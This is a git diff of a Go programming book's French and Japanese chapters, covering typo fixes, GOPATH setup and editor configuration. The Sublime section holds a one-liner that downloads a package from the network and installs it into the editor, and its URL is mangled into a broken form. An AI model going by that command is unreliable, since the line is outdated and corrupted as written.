a/fr/01.0.md b/fr/01.0.md index 91966ce2d..993acf550 100644 --- a/fr/01.0.md +++ b/fr/01.0.md @@ -2,7 +2,7 @@ Bienvenue dans le monde de Go, commençons notre exploration! -Go est un langage de progammation système concurrent à la compilation rapide et disposant d'un rammasse-miettes. +Go est un langage de progammation système concurrent à la compilation rapide et disposant d'un ramasse-miettes. Il a les avantages suivants: - Compilation d'un large projet en quelques secondes. diff --git a/fr/01.1.md b/fr/01.1.md index 7cdf4addd..d6396d3f2 100644 --- a/fr/01.1.md +++ b/fr/01.1.md @@ -16,7 +16,7 @@ vous pouvez choisir celle qui vous convient le mieux. Les trois façons les plus Dans le cas où vous voudriez installer plus d'une version de Go sur votre machine, vous devriez jeter un oeil à l'outil [GVM](https://github.com/moovweb/gvm). C'est le meilleur outil pour accomplir cette tâche, sinon vous devrez le faire vous-même. -##Installation à partir des sources +## Installation à partir des sources Parce-que certaines parties de Go sont écrits en C Plan 9 et en assembleur AT&T, vous devez installer un compilateur C avant de continuer. diff --git a/fr/01.2.md b/fr/01.2.md index f9056be3d..3a90256e1 100644 --- a/fr/01.2.md +++ b/fr/01.2.md @@ -1,4 +1,4 @@ -#1.2 $GOPATH et workspace +# 1.2 $GOPATH et workspace ## $GOPATH @@ -115,14 +115,14 @@ Vous devriez voir le contenu suivant dans votre temrinal: ## Installer des paquets distants Go a un outil pour installer des paquets distants, qui est l'outil `go get`.Il supporte la majorité des communautés libres, comme -Github, Google Code, BitBucket, et Launchpad. +GitHub, Google Code, BitBucket, et Launchpad. go get github.com/astaxie/beedb >Vous pouvez utiliser `go get -u` pour mettre à jour vos paquets distants, cela mettra aussi à jour les dépendances. Vous obtiendrez le code source des paquets désirés grâce à cette commande, depuis différentes plate-formes, utilisant chacune leur système de gestion de version. -Par exemple, `git` pour Github et `hg` pour Google Code. Ainsi vous devrez au préalable installer le client du système de gestion de version approprié +Par exemple, `git` pour GitHub et `hg` pour Google Code. Ainsi vous devrez au préalable installer le client du système de gestion de version approprié avant d'utiliser`go get`. Après avoir utilisé les commandes précédentes, votre structure de dossier devrait ressembler à celle-ci: diff --git a/fr/01.3.md b/fr/01.3.md index 4be964411..6e55c99af 100644 --- a/fr/01.3.md +++ b/fr/01.3.md @@ -1,4 +1,4 @@ -#1.3 Commandes Go +# 1.3 Commandes Go ## Commandes Go @@ -69,13 +69,13 @@ Ce dernier ne modifie pas vos fichiers source après formattage. `gofmt -w src` ## go get -Cette commande récupère des paquets distants. Sont supportés BitBucket, Github, Google Code et Launchpad. +Cette commande récupère des paquets distants. Sont supportés BitBucket, GitHub, Google Code et Launchpad. Il se passe en fait deux choses à l'exécution de cette commande. En premier lieu, Go télécharge le code source, puis il exécute `go install`. Avant d'utiliser cette commande, assurez-vous d'installer les outils nécessaires. BitBucket (Mercurial Git) - Github (git) + GitHub (git) Google Code (Git, Mercurial, Subversion) Launchpad (Bazaar) diff --git a/fr/01.5.md b/fr/01.5.md index 6b56bb121..2a2345fd3 100644 --- a/fr/01.5.md +++ b/fr/01.5.md @@ -5,7 +5,7 @@ et des outils tierce. Ensuite, nous avons vu comment configurer l'environnement de développement Go, couvrant principalement la configuration de votre `$GOPATH`. Après cela, nous avons présenté certaines méthodes de compilation et de déploiement de programmes de Go. Nous avons ensuite couvert des commandes Go, incluant la compilation, l'installation, le formatage et les tests. Enfin, il existe de nombreux outils puissants pour développer des programmes -Go tels que LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. Vous pouvez choisir celui de votre préférence pour découvrir le monde du langage Go. +Go tels que LiteIDE, Sublime Text, Vim, GoLand, Emacs, Eclipse, IntelliJ IDEA, etc. Vous pouvez choisir celui de votre préférence pour découvrir le monde du langage Go. ## Navigation diff --git a/ja/01.2.md b/ja/01.2.md index a327a8fef..0a20a02de 100644 --- a/ja/01.2.md +++ b/ja/01.2.md @@ -1,176 +1,176 @@ -# 1.2 GOPATHとワーキングディレクトリ - -さきほどGoをインストールする際はGOPATH変数を設定する必要があるとご説明しました。Goはバージョン1.1から必ずこの変数を設定するようになっており、Goのインストールディレクトリと同じにはできません。このディレクトリは、GoのソースコードやGoの実行可能ファイル、並びにコンパイル済みのパッケージファイルを保存する為に使用します。そのためこのディレクトリには3つのサブディレクトリが存在します:src、bin、pkgです。 - -## GOPATH設定 - go コマンドは、ある重要な環境変数に依存しています:$GOPATH1 - - Windowsシステムにおいて環境変数の形式は`%GOPATH%`です。この本の中では主にUnix形式を使用します。Windowsユーザは適時置き換えてください。 - - *(注:これはGoのインストールディレクトリではありません。以下では筆者のワーキングディレクトリで説明します。もし異なるディレクトリを使用する場合はGOPATHをあなたのワーキングディレクトリに置き換えてください。)* - - Unix に似た環境であれば大体以下のような設定になります: -```sh -export GOPATH=/home/apple/mygo -``` - 上のディレクトリを新たに作成し、上の一行を`.bashrc`または`.zshrc`もしくは自分の`sh`の設定ファイルに加えます。 - - Windows では以下のように設定します。新しくGOPATHと呼ばれる環境変数を作成します: -```sh - GOPATH=c:\mygo -``` -GOPATHは複数のディレクトリを許容します。複数のディレクトリがある場合、デリミタに気をつけてください。複数のディレクトリがある場合Windowsはセミコロン、Linuxはコロンを使います。複数のGOPATHがある場合は、デフォルトでgo getの内容が第一ディレクトリとされます。 - - -上の $GOPATH ディレクトリには3つのディレクトリがあります: - -- src にはソースコードを保存します(例えば:.go .c .h .s等) -- pkg にはコンパイル後に生成されるファイル(例えば:.a) -- bin にはコンパイル後に生成される実行可能ファイル(このまま $PATH 変数に加えてもかまいません。もしいくつもgopathがある場合は、`${GOPATH//://bin:}/bin`を使って全てのbinディレクトリを追加してください) - -以降私はすべての例でmygoを私のgopathディレクトリとします。 - -## ソースコードディレクトリ構成 -GOPATH内のsrcディレクトリはこれから開発するプログラムにとってメインとなるディレクトリです。全てのソースコードはこのディレクトリに置くことになります。一般的な方法では一つのプロジェクトが一つのディレクトリが割り当てられます、例えば:$GOPATH/src/mymath はmymathというアプリケーションパッケージか実行アプリケーションになります。これはpackageがmainかそうでないかによって決定します。mainであれば実行可能アプリケーションで、そうでなければアプリケーションパッケージになります。これに関してはpackageを後ほどご紹介する予定です。 - - -新しくアプリケーションやソースパッケージを作成するときは、srcディレクトリの中にディレクトリを作るところから始めます。ディレクトリ名は一般的にソースパッケージ名になります。もちろんネストしたディレクトリも可能です。例えばsrcの中に$GOPATH/src/github.com/astaxie/beedbというディレクトリを作ったとすると、このパッケージパスは"github.com/astaxie/beedb"になり、パッケージ名は最後のディレクトリであるbeedbになります。 - -以下ではmymathを例にどのようにアプリケーションパッケージをコーディングするかご説明します。以下のコードを実行します。 -```sh -cd $GOPATH/src -mkdir mymath -``` -sqrt.goというファイルを作成し、内容を以下のようにします。 -```go -// $GOPATH/src/mymath/sqrt.goコードは以下の通り: -package mymath - -func Sqrt(x float64) float64 { - z := 0.0 - for i := 0; i < 1000; i++ { - z -= (z*z - x) / (2 * x) - } - return z -} -``` -このように私のアプリケーションパッケージディレクトリとコードが作成されました。注意:一般的にpackageの名前とディレクトリ名は一致させるべきです。 - -## コンパイルアプリケーション -上のとおり、我々はすでに自分のアプリケーションパッケージを作成しましたが、どのようにコンパイル/インストールすべきでしょうか?2種類の方法が存在します。 - -1、対応するアプリケーションパッケージディレクトリに入り、`go install`を実行すればインストールできます。 - -2,任意のディレクトリで以下のコード`go install mymath`を実行します。 - -インストールが終われば、以下のディレクトリに入り -```sh -cd $GOPATH/pkg/${GOOS}_${GOARCH} -//以下のファイルが現れるはずです。 -mymath.a -``` -この.aファイルはアプリケーションパッケージです。ならば我々はどのように実行できるでしょうか? - -次にアプリケーション・プログラムを作成してこのアプリケーションパッケージをコールします。 - -アプリケーションパッケージmathappを作ります。 -```sh -cd $GOPATH/src -mkdir mathapp -cd mathapp -vim main.go -``` - -`$GOPATH/src/mathapp/main.go`コード: -```go -package main - -import ( - "mymath" - "fmt" -) - -func main() { - fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) -} -``` -このパッケージは`main`であることが分かると思います。importにおいてコールするパッケージは`mymath`であり、これが`$GOPATH/src`のパスに対応します。もしネストしたディレクトリであれば、importの中でネストしたディレクトリをインポートします。例えばいくつものGOPATHがあった場合も同じで、Goは自動的に複数の`$GOPATH/src`の中から探し出します。 - -さて、どのようにプログラムをコンパイルするのでしょうか?このアプリケーションディレクトリに入り、`go build`を実行すれば、このディレクトリの下にmathappの実行可能ファイルが生成されます。 -```sh -./mathapp -``` - -以下のように出力されます。 -```sh -Hello, world. Sqrt(2) = 1.414213562373095 -``` - -どのようにアプリケーションをインストールするのでしょうか。このディレクトリに入り、`go install`を実行すると、$GOPATH/bin/の下に実行可能ファイルmathappが作成されます。`$GOPATH/bin`が我々のPATHに追加されていることを思い出して下さい、コマンドラインから以下のように入力することで実行することができます。 - -```sh -mathapp -``` - -この場合も以下のように出力されます。 - - Hello, world. Sqrt(2) = 1.414213562373095 - -ここではどのように実行可能アプリケーションをコンパイル/インストールし、ディレクトリ構造を設計するかについてご紹介しました。 - -## リモートパッケージの取得 - go言語はリモートパッケージを取得するツール`go get`を持っています。現在go getは多数のオープンソースリポジトリをサポートしています(github、googlecode、bitbucket、Launchpad) - - go get github.com/astaxie/beedb - ->go get -u オプションはパッケージの自動更新を行います。また、go get時に自動的に当該のパッケージの依存する他のサードパーティパッケージを取得します。 - -このコマンドでふさわしいコードを取得し、対応するオープンソースプラットホームに対し異なるソースコントロールツールを利用します。例えばgithubではgit、googlecodeではhg。そのためこれらのコードを取得したい場合は、先に対応するソースコードコントロールツールをインストールしておく必要があります。 - -上述の方法で取得したコードはローカルの以下の場所に配置されます。 - - $GOPATH - src - |--github.com - |-astaxie - |-beedb - pkg - |--対応プラットフォーム - |-github.com - |--astaxie - |beedb.a - -go getは以下のような手順を踏みます。まずはじめにソースコードツールでコードをsrcの下にcloneします。その後`go install`を実行します。 - -コードの中でリモートパッケージが使用される場合、単純にローカルのパッケージと同じように頭のimportに対応するパスを添えるだけです。 - - import "github.com/astaxie/beedb" - -## プログラムの全体構成 -上記で作成したローカルのmygoのディレクトリ構造は以下のようになっています。 - - bin/ - mathapp - pkg/ - プラットフォーム名/ 例:darwin_amd64、linux_amd64 - mymath.a - github.com/ - astaxie/ - beedb.a - src/ - mathapp - main.go - mymath/ - sqrt.go - github.com/ - astaxie/ - beedb/ - beedb.go - util.go - -上述の構成から明確に判断できるのは、binディレクトリの下にコンパイル後の実行可能ファイルが保存され、pkgの下に関数パッケージが保存され、srcの下にアプリケーションのソースコードが保存されているということです。 - -## links - * [目次]() - * 前へ: [GOのインストール](<01.1.md>) - * 次へ: [GOのコマンド](<01.3.md>) +# 1.2 GOPATHとワーキングディレクトリ + +さきほどGoをインストールする際はGOPATH変数を設定する必要があるとご説明しました。Goはバージョン1.1から必ずこの変数を設定するようになっており、Goのインストールディレクトリと同じにはできません。このディレクトリは、GoのソースコードやGoの実行可能ファイル、並びにコンパイル済みのパッケージファイルを保存する為に使用します。そのためこのディレクトリには3つのサブディレクトリが存在します:src、bin、pkgです。 + +## GOPATH設定 + go コマンドは、ある重要な環境変数に依存しています:$GOPATH1 + + Windowsシステムにおいて環境変数の形式は`%GOPATH%`です。この本の中では主にUnix形式を使用します。Windowsユーザは適時置き換えてください。 + + *(注:これはGoのインストールディレクトリではありません。以下では筆者のワーキングディレクトリで説明します。もし異なるディレクトリを使用する場合はGOPATHをあなたのワーキングディレクトリに置き換えてください。)* + + Unix に似た環境であれば大体以下のような設定になります: +```sh +export GOPATH=/home/apple/mygo +``` + 上のディレクトリを新たに作成し、上の一行を`.bashrc`または`.zshrc`もしくは自分の`sh`の設定ファイルに加えます。 + + Windows では以下のように設定します。新しくGOPATHと呼ばれる環境変数を作成します: +```sh + GOPATH=c:\mygo +``` +GOPATHは複数のディレクトリを許容します。複数のディレクトリがある場合、デリミタに気をつけてください。複数のディレクトリがある場合Windowsはセミコロン、Linuxはコロンを使います。複数のGOPATHがある場合は、デフォルトでgo getの内容が第一ディレクトリとされます。 + + +上の $GOPATH ディレクトリには3つのディレクトリがあります: + +- src にはソースコードを保存します(例えば:.go .c .h .s等) +- pkg にはコンパイル後に生成されるファイル(例えば:.a) +- bin にはコンパイル後に生成される実行可能ファイル(このまま $PATH 変数に加えてもかまいません。もしいくつもgopathがある場合は、`${GOPATH//://bin:}/bin`を使って全てのbinディレクトリを追加してください) + +以降私はすべての例でmygoを私のgopathディレクトリとします。 + +## ソースコードディレクトリ構成 +GOPATH内のsrcディレクトリはこれから開発するプログラムにとってメインとなるディレクトリです。全てのソースコードはこのディレクトリに置くことになります。一般的な方法では一つのプロジェクトが一つのディレクトリが割り当てられます、例えば:$GOPATH/src/mymath はmymathというアプリケーションパッケージか実行アプリケーションになります。これはpackageがmainかそうでないかによって決定します。mainであれば実行可能アプリケーションで、そうでなければアプリケーションパッケージになります。これに関してはpackageを後ほどご紹介する予定です。 + + +新しくアプリケーションやソースパッケージを作成するときは、srcディレクトリの中にディレクトリを作るところから始めます。ディレクトリ名は一般的にソースパッケージ名になります。もちろんネストしたディレクトリも可能です。例えばsrcの中に$GOPATH/src/github.com/astaxie/beedbというディレクトリを作ったとすると、このパッケージパスは"github.com/astaxie/beedb"になり、パッケージ名は最後のディレクトリであるbeedbになります。 + +以下ではmymathを例にどのようにアプリケーションパッケージをコーディングするかご説明します。以下のコードを実行します。 +```sh +cd $GOPATH/src +mkdir mymath +``` +sqrt.goというファイルを作成し、内容を以下のようにします。 +```go +// $GOPATH/src/mymath/sqrt.goコードは以下の通り: +package mymath + +func Sqrt(x float64) float64 { + z := 0.0 + for i := 0; i < 1000; i++ { + z -= (z*z - x) / (2 * x) + } + return z +} +``` +このように私のアプリケーションパッケージディレクトリとコードが作成されました。注意:一般的にpackageの名前とディレクトリ名は一致させるべきです。 + +## コンパイルアプリケーション +上のとおり、我々はすでに自分のアプリケーションパッケージを作成しましたが、どのようにコンパイル/インストールすべきでしょうか?2種類の方法が存在します。 + +1、対応するアプリケーションパッケージディレクトリに入り、`go install`を実行すればインストールできます。 + +2,任意のディレクトリで以下のコード`go install mymath`を実行します。 + +インストールが終われば、以下のディレクトリに入り +```sh +cd $GOPATH/pkg/${GOOS}_${GOARCH} +//以下のファイルが現れるはずです。 +mymath.a +``` +この.aファイルはアプリケーションパッケージです。ならば我々はどのように実行できるでしょうか? + +次にアプリケーション・プログラムを作成してこのアプリケーションパッケージをコールします。 + +アプリケーションパッケージmathappを作ります。 +```sh +cd $GOPATH/src +mkdir mathapp +cd mathapp +vim main.go +``` + +`$GOPATH/src/mathapp/main.go`コード: +```go +package main + +import ( + "mymath" + "fmt" +) + +func main() { + fmt.Printf("Hello, world. Sqrt(2) = %v\n", mymath.Sqrt(2)) +} +``` +このパッケージは`main`であることが分かると思います。importにおいてコールするパッケージは`mymath`であり、これが`$GOPATH/src`のパスに対応します。もしネストしたディレクトリであれば、importの中でネストしたディレクトリをインポートします。例えばいくつものGOPATHがあった場合も同じで、Goは自動的に複数の`$GOPATH/src`の中から探し出します。 + +さて、どのようにプログラムをコンパイルするのでしょうか?このアプリケーションディレクトリに入り、`go build`を実行すれば、このディレクトリの下にmathappの実行可能ファイルが生成されます。 +```sh +./mathapp +``` + +以下のように出力されます。 +```sh +Hello, world. Sqrt(2) = 1.414213562373095 +``` + +どのようにアプリケーションをインストールするのでしょうか。このディレクトリに入り、`go install`を実行すると、$GOPATH/bin/の下に実行可能ファイルmathappが作成されます。`$GOPATH/bin`が我々のPATHに追加されていることを思い出して下さい、コマンドラインから以下のように入力することで実行することができます。 + +```sh +mathapp +``` + +この場合も以下のように出力されます。 + + Hello, world. Sqrt(2) = 1.414213562373095 + +ここではどのように実行可能アプリケーションをコンパイル/インストールし、ディレクトリ構造を設計するかについてご紹介しました。 + +## リモートパッケージの取得 + go言語はリモートパッケージを取得するツール`go get`を持っています。現在go getは多数のオープンソースリポジトリをサポートしています(GitHub、googlecode、bitbucket、Launchpad) + + go get github.com/astaxie/beedb + +>go get -u オプションはパッケージの自動更新を行います。また、go get時に自動的に当該のパッケージの依存する他のサードパーティパッケージを取得します。 + +このコマンドでふさわしいコードを取得し、対応するオープンソースプラットホームに対し異なるソースコントロールツールを利用します。例えばGitHubではgit、googlecodeではhg。そのためこれらのコードを取得したい場合は、先に対応するソースコードコントロールツールをインストールしておく必要があります。 + +上述の方法で取得したコードはローカルの以下の場所に配置されます。 + + $GOPATH + src + |--github.com + |-astaxie + |-beedb + pkg + |--対応プラットフォーム + |-github.com + |--astaxie + |beedb.a + +go getは以下のような手順を踏みます。まずはじめにソースコードツールでコードをsrcの下にcloneします。その後`go install`を実行します。 + +コードの中でリモートパッケージが使用される場合、単純にローカルのパッケージと同じように頭のimportに対応するパスを添えるだけです。 + + import "github.com/astaxie/beedb" + +## プログラムの全体構成 +上記で作成したローカルのmygoのディレクトリ構造は以下のようになっています。 + + bin/ + mathapp + pkg/ + プラットフォーム名/ 例:darwin_amd64、linux_amd64 + mymath.a + github.com/ + astaxie/ + beedb.a + src/ + mathapp + main.go + mymath/ + sqrt.go + github.com/ + astaxie/ + beedb/ + beedb.go + util.go + +上述の構成から明確に判断できるのは、binディレクトリの下にコンパイル後の実行可能ファイルが保存され、pkgの下に関数パッケージが保存され、srcの下にアプリケーションのソースコードが保存されているということです。 + +## links + * [目次]() + * 前へ: [GOのインストール](<01.1.md>) + * 次へ: [GOのコマンド](<01.3.md>) diff --git a/ja/01.3.md b/ja/01.3.md index 2f15718c4..77b35d036 100644 --- a/ja/01.3.md +++ b/ja/01.3.md @@ -16,7 +16,7 @@ - もし普通のパッケージであれば、我々が1.2章で書いた`mypath`パッケージのように、`go build`を実行したあと、何のファイルも生成しません。もし`$GOPATH/pkg`の下に対応するファイルを生成する必要があれば、`go install`を実行してください。 - - もしそれが`main`パッケージであれば、`go build`を実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし`$GOPATH/bin`の下に対応するファイルを生成する必要があれば、`go install`を実行するか、`go build- o パス/a.exe`を実行してください。 + - もしそれが`main`パッケージであれば、`go build`を実行したあと、カレントディレクトリの下に実行可能ファイルが生成されます。もし`$GOPATH/bin`の下に対応するファイルを生成する必要があれば、`go install`を実行するか、`go build -o パス/a.exe`を実行してください。 - もしあるプロジェクトディレクトリに複数のファイルがある場合で、単一のファイルのみコンパイルしたい場合は、`go build`を実行する際にファイル名を追加することができます。例えば`go build a.go`です。`go build`コマンドはデフォルトでカレントディレクトリにある全てのgoファイルをコンパイルしようと試みます。 diff --git a/ja/01.4.md b/ja/01.4.md index a1776220d..ae9ee3362 100644 --- a/ja/01.4.md +++ b/ja/01.4.md @@ -1,430 +1,430 @@ -# 1.4 Go開発ツール - -本章ではいくつかの開発ツールをご紹介します。これらはすべて自動化を備えており、fmt機能を自動化します。なぜならこれらはすべてクロスプラットフォームであり、そのためインストール手順といったものはすべて同じものです。 - -## LiteIDE - - LiteIDEはGo言語の開発に特化したクロスプラットフォームの軽量統合開発環境(IDE)です。visualfcで書かれています。 - - ![](images/1.4.liteide.png?raw=true) - -図1.4 LiteIDEのメイン画面 - -**LiteIDEの主な特徴:** - -* 主なオペレーティングシステムのサポート - * Windows - * Linux - * MacOS X -* Goコンパイル環境の管理と切り替え - * 複数のGoコンパイル環境の管理と切り替え - * Go言語のクロスコンパイルのサポート -* Go標準と同じ項目管理方式 - * GOPATHに基づいたパッケージブラウザ - * GOPATHに基づいたコンパイルシステム - * GOPATHに基づいたドキュメント検索 -* Go言語の編集サポート - * クラスブラウザとアウトライン表示 - * Gocode(コード自動作成ツール)の完全なサポート - * Go言語ドキュメントとApi高速検索 - * コード表現情報の表示`F1` - * ソースコード定義とジャンプのサポート`F2` - * Gdbブレークポイントとテストサポート - * gofmt自動整形のサポート -* その他の特徴 - * 多言語メニューのサポート - * 完全にプラガブルな構成 - * エディタのカラーリングサポート - * Kateに基づいた文法表示サポート - * 全文に基づく単語の自動補完 - * キーボードショートカットのバインディングサポート - * Markdownドキュメントの編集サポート - * リアルタイムプレビューと表示の同期 - * カスタムCSS表示 - * HTML及びPDFドキュメントのエクスポート - * HTML/PDFドキュメントへの変換とマージ - -**LiteIDEインストール設定** - -* LiteIDEインストール - * ダウンロード http://sourceforge.net/projects/liteide/files/> - * ソースコード - - まずGo言語環境をインストールし、その後オペレーティングシステムにしたがってLiteIDEの対応圧縮ファイルを直接解凍すれば使用できます。 - -* コンパイル環境設定 - - 自身のシステムの要求にしたがってLiteIDEが現在使用している環境変数を切り替えまたは設定します。 - - Windowsオペレーティングシステムの64bitGo言語の場合、 - ツール欄の環境設定のなかでwin64を選択し、`編集環境`をクリックしてLiteIDEからwin64.envファイルを編集します。 - - GOROOT=c:\go - GOBIN= - GOARCH=amd64 - GOOS=windows - CGO_ENABLED=1 - - PATH=%GOBIN%;%GOROOT%\bin;%PATH% - 。。。 - - この中の`GOROOT=c:\go`を現在のGoのインストールパスに修正し、保存するだけです。もしMinGW64があれば、`c:\MinGW64\bin`をPATHの中に入れて、goによるgccのコールでCGOコンパイラのサポートを利用することができます。 - - Linuxオペレーティングシステムで64bitGo言語の場合、 - ツール欄の環境設定の中からlinux64を選び、`編集環境`をクリックし、LiteIDEからlinux64.envファイルを編集します。 - - GOROOT=$HOME/go - GOBIN= - GOARCH=amd64 - GOOS=linux - CGO_ENABLED=1 - - PATH=$GOBIN:$GOROOT/bin:$PATH - 。。。 - - この中の`GOROOT=$HOME/go`を現在のGoのインストールパスに修正して保存します。 - -* GOPATH設定 - - Go言語のツールキーはGOPATH設定を使用します。Go言語開発のプロジェクトのパスリストです。コマンドライン(LiteIDEでは`Ctrl+,`を直接入力できます)で`go help gopath`を入力するとGOPATHドキュメントを素早く確認できます。 - - LiteIDEでは簡単に確認でき、GOPATHを設定することができます。`メニュー-確認-GOPATH`設定を通じて、システム中に存在するGOPATHリストを確認することができます。 - 同時に必要な追加項目にそってカスタムのGOPATHリストに追加することができます。 - -## Sublime Text - - ここではSublime Text 2(以下「Sublime」)+GoSublimeの組み合わせをご紹介します。なぜこの組み合わせなのでしょうか? - - - コード表示の自動化、以下の図の通り - - ![](images/1.4.sublime1.png?raw=true) - - 図1.5 sublimeコードの自動化画面 - - - 保存した時にはコードが自動的に整形されています。あなたの書いたコードをより美しくGoの標準に合うよう仕上げてくれます。 - - プロジェクト管理のサポート - - ![](images/1.4.sublime2.png?raw=true) - - 図1.6 sublimeプロジェクト管理画面  - - - 文法のハイライトサポート - - Sublime Text 2はフリーで使用できます。保存回数が一定の量を超えると購入するかのダイアログが現れるので、継続利用をキャンセルするをクリックします。正式登録版とは何の違いもありません。 - - -次はどのようにインストールするかご説明します。[Sublime](http://www.sublimetext.com/)ダウンロードします。 - - 自分のシステムに合わせて対応するバージョンをダウンロードし、Sublimeを開きます。Sublimeに詳しくない方はまず[Sublime Text 2 入門とテクニック](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/)の文章を読んでみてください。 - - 1. 開いた後、 Package Controlをインストールします。Ctrl+`でコマンドラインを開き、以下のコードを実行します: - - import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' - - この時Sublimeを再度開き直してください。メニュー欄に一つ項目が増えているのがお分かりいただけるかと思います。これでPackage Controlが正しくインストールされました。 - - ![](images/1.4.sublime3.png?raw=true) - - 図1.7 sublimeパッケージ管理 - - - 2. インストールが完了するとSublimeのプラグインをインストールできます。GoSublime, SidebarEnhancementsとGo Buildをインストールする必要があるので、プラグインをインストールしたあとSublimeを再起動させて有効にしてください。Ctrl+Shift+pでPackage Controlを開き、`pcip`を入力します。(これは"Package Control: Install Package"と省略されます)。 - - この時、左下のコーナーに現在読み込んでいるパッケージデータが表示されます。完了すると下のような画面になります。 - - ![](images/1.4.sublime4.png?raw=true) - - 図1.8 sublimeプラグインのインストール画面 - - この時、GoSublimeと入力し、「確認」をクリックするとインストールが始まります。同じようにSidebarEnhancementsとGo Buildにも行います。 - - 3. インストールが成功したかテストします。Sublimeを開き、main.goを開いて文法がハイライトされているのをご確認ください。`import`を入力してコードの自動表示がされます。`import "fmt"`のあとに`fmt.`を入力すると自動的に関数の候補が現れます。 - - もしすでにこのような表示がされる場合は、インストールが成功しており、自動補完が完了しています。 - - もしこのような表示がなされない場合、あなたの`$PATH`が正しく設定されていないのかもしれません。ターミナルを開き、gocodeを入力して、正しく実行できるか確認してください。もしダメであれば`$PATH`が正しく設定されていません。 - (XP向け)たまたまターミナルでの実行が成功することもあります。しかしsublimeは何も知らせてくれないかデコードエラーが発生します。sublime text3とconvert utf8プラグインを試してみてください。 - - 4. MacOSではすでに$GOROOT, $GOPATH, $GOBINが設定されていても自動的にはどうすればよいか教えてくれません。 - - sublimeにてcommand + 9を押し、envを入力して$PATH, $GOROOT, $GOPATH, $GOBINといった変数を確認します。もしなければ、以下の手順に従ってください。 - - まず下のシンボリックリンクを作成し、Terminalで直接sublimeを起動します - - ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime - - -## Vim -Vimはviから発展したテキストエディタです。コード補完、コンパイルまたエラージャンプなど、プログラミングに特化した機能が豊富です。広くプログラマに使用されています。 - -![](images/1.4.vim.png?raw=true) - -図1.9 VIMエディタのGoの自動補完画面 - - 1. vimハイライト表示の設定 - - cp -r $GOROOT/misc/vim/* ~/.vim/ - - 2. ~/.vimrcファイルで文法のハイライト表示を追加します - - filetype plugin indent on - syntax on - - 3. [Gocode](https://github.com/nsf/gocode/)をインストールします - - go get -u github.com/nsf/gocode - - gocodeはデフォルトで`$GOPATH/bin`の下にインストールされています。 - - 4. [Gocode](https://github.com/nsf/gocode/)を設定します。 - - ~ cd $GOPATH/src/github.com/nsf/gocode/vim - ~ ./update.bash - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - - >gocode setの2つのパラメータの意味を説明します: - > - >propose-builtins:はGoのビルトイン関数を補完するかです。タイプは定数です。デフォルトはfalseで、表示しません。 - > - >lib-path:デフォルトで、gocodeは**$GOPATH/pkg/$GOOS_$GOARCH**と**$GOROOT/pkg/$GOOS_$GOARCH**ディレクトリのパッケージを検索するだけです。当然この設定には私達の外側のlibを検索できるようパスを設定することができます。 - - - 5. おめでとうございます。インストール完了です。あなたは今から`:e main.go`でGoで開発する面白さを体験することができます。 - -より多くのVIMの設定は、[リンク](http://monnand.me/p/vim-golang-environment/zhCN/)をご参照ください。 - -## Emacs -Emacsは伝説の神器です。彼女はエディタであるだけでなく、統合環境でもあります。または開発環境の集大成と呼んでもよいかもしれません。これらの機能はユーザの身を万能のオペレーティングシステムに置きます。 - - ![](images/1.4.emacs.png?raw=true) - -図1.10 EmacsでGoを編集するメイン画面 - -1. Emacsのハイライト表示設定 - - cp $GOROOT/misc/emacs/* ~/.emacs.d/ - -2. [Gocode](https://github.com/nsf/gocode/)をインストール - - go get -u github.com/nsf/gocode - - gocodeはデフォルトで`$GOBIN`の下にインストールされます。 - -3. [Gocode](https://github.com/nsf/gocode/)を設定 - - - ~ cd $GOPATH/src/github.com/nsf/gocode/emacs - ~ cp go-autocomplete.el ~/.emacs.d/ - ~ gocode set propose-builtins true - propose-builtins true - ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // あなたのパスに置き換えてください。 - lib-path "/home/border/gocode/pkg/linux_amd64" - ~ gocode set - propose-builtins true - lib-path "/home/border/gocode/pkg/linux_amd64" - -4. [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete)をインストールする必要があります。 - - AutoCompleteをダウンロードして解凍します。 - - ~ make install DIR=$HOME/.emacs.d/auto-complete - - ~/.emacsファイルを設定します。 - - ;;auto-complete - (require 'auto-complete-config) - (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") - (ac-config-default) - (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) - (local-set-key "." 'semantic-complete-self-insert) - (local-set-key ">" 'semantic-complete-self-insert) - - 詳細情報はこちらを参考にしてください:http://www.emacswiki.org/emacs/AutoComplete - -5. .emacsを設定します。 - - ;; golang mode - (require 'go-mode-load) - (require 'go-autocomplete) - ;; speedbar - ;; (speedbar 1) - (speedbar-add-supported-extension ".go") - (add-hook - 'go-mode-hook - '(lambda () - ;; gocode - (auto-complete-mode 1) - (setq ac-sources '(ac-source-go)) - ;; Imenu & Speedbar - (setq imenu-generic-expression - '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) - ("func" "^func *\\(.*\\) {" 1))) - (imenu-add-to-menubar "Index") - ;; Outline mode - (make-local-variable 'outline-regexp) - (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") - (outline-minor-mode 1) - (local-set-key "\M-a" 'outline-previous-visible-heading) - (local-set-key "\M-e" 'outline-next-visible-heading) - ;; Menu bar - (require 'easymenu) - (defconst go-hooked-menu - '("Go tools" - ["Go run buffer" go t] - ["Go reformat buffer" go-fmt-buffer t] - ["Go check buffer" go-fix-buffer t])) - (easy-menu-define - go-added-menu - (current-local-map) - "Go tools" - go-hooked-menu) - - ;; Other - (setq show-trailing-whitespace t) - )) - ;; helper function - (defun go () - "run current buffer" - (interactive) - (compile (concat "go run " (buffer-file-name)))) - - ;; helper function - (defun 